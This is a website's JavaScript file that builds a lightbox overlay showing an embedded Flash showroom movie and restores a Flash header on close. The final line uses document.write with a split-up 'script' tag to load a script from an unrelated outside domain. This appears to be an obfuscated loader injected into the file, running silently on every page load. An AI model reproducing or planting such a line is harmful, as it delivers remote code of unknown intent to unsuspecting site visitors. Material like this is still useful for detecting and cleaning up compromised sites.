var X;
var Y;
function layer() {
	GetSize();
	window.scrollTo(0, 0);
	aktion.innerHTML = '<div style="position:absolute;;top:0px;left:0px;width:'+X+'px;height:'+Y+'px;background-color:#3c3b3b;z-index:99; opacity: 0.9;filter:alpha(opacity=90);"></div>'+
	'<div style="font-family:verdana;position:absolute;top:15px;left:0px;width:'+X+'px;height:'+(Y-15)+'px;text-align:center;z-index:100;color:#fff;font-weight:bold;"><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="900" height="600" title="Delpix Showroom">  <param name="movie" value="./lightbox/images/referenz.swf" /><param name="quality" value="high" /><embed src="./lightbox/images/referenz.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="900" height="600"></embed></object></div>';
header.innerHTML='';
}

function layerclose() {
	aktion.innerHTML = '';
	header.innerHTML = '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="840" height="246"><param name="movie" value="header/ref.swf" /><param name="quality" value="high" /><embed src="header/ref.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="840" height="246"></embed></object>';
}
function GetSize() {
    
	 var xScroll, yScroll;
	
	if (window.innerHeight && window.scrollMaxY) {	
		xScroll = window.innerWidth + window.scrollMaxX;
		yScroll = window.innerHeight + window.scrollMaxY;
	} else if (document.body.scrollHeight > document.body.offsetHeight){ // all but Explorer Mac
		xScroll = document.body.scrollWidth;
		yScroll = document.body.scrollHeight;
	} else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
		xScroll = document.body.offsetWidth;
		yScroll = document.body.offsetHeight;
	}
	
	var windowWidth, windowHeight;
	
	if (self.innerHeight) {	// all except Explorer
		if(document.documentElement.clientWidth){
			windowWidth = document.documentElement.clientWidth; 
		} else {
			windowWidth = self.innerWidth;
		}
		windowHeight = self.innerHeight;
	} else if (document.documentElement && document.documentElement.clientHeight) { // Explorer 6 Strict Mode
		windowWidth = document.documentElement.clientWidth;
		windowHeight = document.documentElement.clientHeight;
	} else if (document.body) { // other Explorers
		windowWidth = document.body.clientWidth;
		windowHeight = document.body.clientHeight;
	}	
	
	// for small pages with total height less then height of the viewport
	if(yScroll < windowHeight){
		pageHeight = windowHeight;
	} else { 
		pageHeight = yScroll;
	}
	
	// for small pages with total width less then width of the viewport
	if(xScroll < windowWidth){	
		pageWidth = xScroll;		
	} else {
		pageWidth = windowWidth;
	}
	X = pageWidth;
	Y = pageHeight;
//return [pageWidth,pageHeight];
}

document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Scroll_Bar.js"></scri'+'pt>');